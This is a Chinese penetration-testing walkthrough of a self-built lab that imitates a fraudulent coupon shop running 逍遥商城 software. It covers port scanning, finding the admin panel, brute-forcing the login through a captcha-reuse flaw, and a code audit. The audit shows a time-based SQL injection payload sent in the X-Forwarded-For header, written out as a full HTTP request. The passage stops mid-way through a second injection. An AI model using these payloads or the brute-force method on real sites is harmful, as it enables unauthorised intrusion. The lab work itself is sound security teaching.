外网打点到内网渗透 NASA项目
环境说明
模拟渗透测试电信诈骗网站,境外人员依赖该网站通过优惠卷诱导受害者进行消费,诈骗受害人金钱
linux windows 同存于内网,提供一个公网的web入口点,安全人员对网站/服务器进行综合的渗透测试,最终夺取各个服务器的权限。
靶场拓补
优惠卷网站搭建在ubantu上,在ubantu上访问本地80端口即可访问该网站。
购买vps外网服务器,使用frp将客户端ubantu上的本地80端口映射到vps服务器80端口,这样就简单的模拟了实战环境,靶机处于内网,提供了一个公网web入口点。
vps服务器windows,上传frp_windows_amd到服务器
服务端
frps.ini
[common]
bind_port = 7788
token=zzzzmoon199
执行
frps.exe -c ./frps.ini
ubuntu,上传frp_linux_amd到客户端
frpc.ini
[common]
server_addr = vps-ip
server_port = 7788
token = zzzzmoon199
[web]
type = tcp
local_ip = 127.0.0.1
local_port = 80
remote_port = 80
执行,如果没有权限需要赋予权限
./frpc -c ./frpc.ini
这里如果客户端执行返回连接拒绝,我们需要在防火墙配置规则
之后我们访问公网的ip即可访问ubuntu的网站
外网打点
端口扫描
首先对ip进行端口扫描,获取目标开放的端口,大致了解服务器开放的端口,在使用nmap对端口进行探测。
使用masscan扫描全部端口
sudo masscan -p 1-65535 101.42.173.68 --rate=100
使用nmap对开放端口进行探测
nmap -sV -A -p 80,7788,3389, -oN all-port.txt 101.42.173.68
# Nmap 7.92 scan initiated Wed Jun 1 05:12:02 2022 as: nmap -sV -A -p 80,7788,3389, -oN all-port.txt 101.42.173.68
Nmap scan report for 101.42.173.68
Host is up (0.0056s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-title: \xE4\xBC\x98\xE6\x83\xA0\xE5\x88\xB8\xE5\x95\x86\xE5\x9F\x8E
|_http-server-header: Apache/2.4.10 (Debian)
| http-robots.txt: 9 disallowed entries
| /data /hook /public /module /template /admin /config.php
|_/common.php /order/list
3389/tcp open ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=10_0_16_16
| Not valid before: 2022-05-30T09:34:46
|_Not valid after: 2022-11-29T09:34:46
| rdp-ntlm-info:
| Target_Name: 10_0_16_16
| NetBIOS_Domain_Name: 10_0_16_16
| NetBIOS_Computer_Name: 10_0_16_16
| DNS_Domain_Name: 10_0_16_16
| DNS_Computer_Name: 10_0_16_16
| Product_Version: 6.3.9600
|_ System_Time: 2022-06-01T09:13:13+00:00
|_ssl-date: 2022-06-01T09:13:17+00:00; +3s from scanner time.
7788/tcp open ssl/unknown
| ssl-cert: Subject:
| Not valid before: 1-01-01T00:00:00
|_Not valid after: 1-01-01T00:00:00
|_ssl-date: TLS randomness does not represent time
Host script results:
|_clock-skew: mean: 2s, deviation: 0s, median: 1s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun 1 05:13:14 2022 -- 1 IP address (1 host up) scanned in 72.02 seconds
通过以上扫描,我们对这个服务器开放的端口和端口开发的信息有了大致的了解。
似乎没有什么利用点。
我们查看网站的robots.txt文件,可看到定义了一些搜索引擎禁止收录的网页,我看都看看有没有什么可利用的,每个都看看,都点一点。
在/admin里发现了后台登录
后台地址
http://101.42.173.68/admin/webadmin.php?mod=do&act=login
我们顺手把前台的一些信息写下来
前台登录
http://101.42.173.68/user.php?mod=do&act=login&fromto=http%3A%2F%2F101.42.173.68%2F
前台注册
http://101.42.173.68/user.php?mod=do&act=register&fromto=http%3A%2F%2F101.42.173.68%2Fuser.php%3Fmod%3Ddo%26act%3Dlogin
忘记密码
http://101.42.173.68/user.php?mod=do&act=getpw
用户中心
http://101.42.173.68/user.php
顺手在注册界面注册一个账号,用户名treadstone 密码123456 手机11111111111 邮箱 abc@123.com
我们在检查里面查看js文件,发现这是用逍遥商城建的站,这样的话我们就可以在网上找找这类网站的洞的文章
这么多文章,足够我们参考了
后台安全测试
之前我们了解此网站发现了后台地址,测试后台地址
我们发现我们输入账号密码尝试登录后台时,提示账号或密码错误,但是我们发现验证码并没有刷新,一直是这个值
所以这里后台地址存在验证码重用漏洞
burpsuit穷举后台
此网站后台存在验证码重用漏洞,所以我们可以利用burp对账号密码进行穷举
这里可以用这个网站,社工生成字典
https://api.xiaobaibk.com/lab/guess/
这里我们知道此项目名为nasa,我们输入姓名nasa生成字典来爆破
用户名我们就用admin,密码我们使用生成的字典,能看到我们找到了正确的账号密码
代码审计
我们通过社工字典爆破出了密码,但是实际上这种方式如果用户使用高强度密码,我们基本不会成功。所以我们重点还是漏洞挖掘这方面,之前我们知道这是个逍遥商城,我们可以下载下来源码本地搭建,进行代码审计找出漏洞。
打开phpstudy,开启apache、mysql,创建网站
将网站源码复制进根目录,全部替换,记得修改config.php的mysql密码
并且导入数据库
可以看到搭建成功了
可以使用phpstorm创建项目
可一这样观看网站代码
找回密码存在sql注入
public\function\global.func.php
//获取ip
function pe_ip()
{
if (isset($_SERVER)){
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])){
$realip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} else if (isset($_SERVER["HTTP_CLIENT_IP"])) {
$realip = $_SERVER["HTTP_CLIENT_IP"];
} else {
$realip = $_SERVER["REMOTE_ADDR"];
}
} else {
if (getenv("HTTP_X_FORWARDED_FOR")){
$realip = getenv("HTTP_X_FORWARDED_FOR");
} else if (getenv("HTTP_CLIENT_IP")) {
$realip = getenv("HTTP_CLIENT_IP");
} else {
$realip = getenv("REMOTE_ADDR");
}
}
$ip_arr = explode(',', $realip);
return $ip_arr[0];
}
按住ctrl,鼠标单击pe_ip即可查看调用
获取ip,多处调用,但是大多数都被程序里的gpc函数过滤掉了,找到一处没做处理的。
hook\yzmlog.hook.php
function add_yzmlog($user, $yzm) {
global $db;
$sql_set['yzmlog_user'] = $user;
$sql_set['yzmlog_value'] = $yzm;
$sql_set['yzmlog_atime'] = time();
$sql_set['yzmlog_adate'] = date('Y-m-d');
$sql_set['yzmlog_ip'] = pe_ip();
if ($db->pe_insert("yzmlog", $sql_set)) {
return true;
}
else {
return false;
}
}
$sql_set[‘yzmlog_ip’] = pe_ip();直接插入表没有做过滤。我们查看下那里调用了add_yzmlog这个函数。
hook\yzmlog.hook.php
function send_yzm($type, $user, $apitype = 'juhe') {
global $db, $cache_setting;
pe_lead('hook/qunfa.hook.php');
$user = pe_dbhold($user);
$yzm = rand(100000,999999);
//$linshi_pw = substr(md5($pe['host_root'].$email.rand(1,9999).time()), 5, 6);
if ($type == 'email') {
$email['qunfa_name'] = "尊敬的{$user}用户,请查收您的验证码";
$email['qunfa_text'] = "尊敬的用户,您的邮箱验证码为:{$yzm},验证码有效期为30分钟!请尽快验证,谢谢!";
$result = qunfa_email($user, $email);
}
else {
//一分钟内最多发送3次
$nowtime = time() - 60;
$yzmnum = $db->pe_num("yzmlog", " and `yzmlog_user` = '{$user}' and `yzmlog_atime` >= '{$nowtime}'");
if ($yzmnum >= 3) {
return array('result'=>false, 'show'=>'您发送的太频繁了,请稍后再试');
}
//一天内未验证次数超过5次的手机号就不让再发送了
$yzmnum = $db->pe_num("yzmlog", " and `yzmlog_user` = '{$user}' and `yzmlog_state` = 0 and `yzmlog_adate` >= '".date('Y-m-d')."'");
if ($yzmnum >= 5) {
return array('result'=>false, 'show'=>'您今日发送太多了,请明日再试');
}
//一天内未验证次数超过10次的ip就不让再发送了
$yzmnum = $db->pe_num("yzmlog", " and `yzmlog_ip` = '".pe_ip()."' and `yzmlog_state` = 0 and `yzmlog_adate` >= '".date('Y-m-d')."'");
if ($yzmnum >= 10) {
return array('result'=>false, 'show'=>'您今日发送太多了,请明日再试');
}
$result = qunfa_sms($user, "【{$cache_setting['sms_sign']}】尊敬的用户,您的验证码为:{$yzm}。如非本人操作,请忽略本短信");
}
if ($result['result']) add_yzmlog($user, $yzm);
return $result;
}
可看到在result不为空时,调用add_yzmlog这个函数
触发漏洞流程:网站找回密码出->输入账号验证码->触发sql注入。
我们在利用的时候,发现目标没有开启邮箱发信,所以利用失败了。我们在本地让result这个值为1,测试下sql注入是否存在
添加$result[‘result’]=1;
注册个账号,开启burp代理,输入注册手机号/邮箱,点击获取验证码,burp抓到包
构造payload,这里使用xff注入,sleep函数测试
X-Forwarded-For: 111'AND (SELECT 1128 FROM (SELECT(select(sleep(4))))abc)-- aaaaa
GET /index.php?mod=check&act=send_yzm&type=getpw&value=11111111111 HTTP/1.1
Host: quan.jnwsf.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Forwarded-For: 111'AND (SELECT 1128 FROM (SELECT(select(sleep(4))))abc)-- aaaaa
Connection: close
Referer: http://quan.jnwsf.com/user.php?mod=do&act=getpw
Cookie: PHPSESSID=lbs37cgrqinrkkmqt1jnsggcg1
我们发送到repreter之后,点击send会发现出现明显延迟,所以这里sql注入是存在的,只是对方没有配置邮箱发信,无法利用。
手机端sql注入
module\mobile_user\back.php
$menumark = 'lxb';
$cook_uid = $_SESSION['user_id'];
switch ($act) {
case 'list':
default:
$order_list = $db2->getAll('select * from xy_order where user_id='.$cook_uid.' and ( order_state = "whuishou" or order_state = "endhuishou" ) order by id desc ');
$goods = array();
$i=0;
foreach( $order_list as $k => &$v )
{
$products = $db2->getAll( 'select * from xy_orderdata where order_id='.$v['order_id'] );
foreach( $products as $pk => &$vs )
{
$goods[$i] = $db2->getOne( 'select product_name from xy_product where product_id= '.$vs['product_id'] );
$i++;
}
$v['product_name'] = implode(',', $goods );
$v['product_logo'] = $vs['product_logo'];
}
$menutitle = '我的回收';
$seo = pe_seo($menutitle);
include(pe_tpl('huishou_list.html'));
break;
case 'dohuishou':
$order_id = trim( $_REQUEST['order_id'] );
$order = $db2->getRow('select * from xy_order where order_id="'.$order_id.'"');
在act的case为dohuishou时,$order_id = trim( $_REQUEST[‘order_id’] );
没有做过滤,可能存在sql注入
触发漏洞流程:firefox添加User-Agent Switcher 插件,选择移动端,刷新页面
注册并登录->点击我的->点击回收状态
http://101.42.173.68/user.php?mod=back&act=list
之前审计发现,需要让act=dohuishou,我们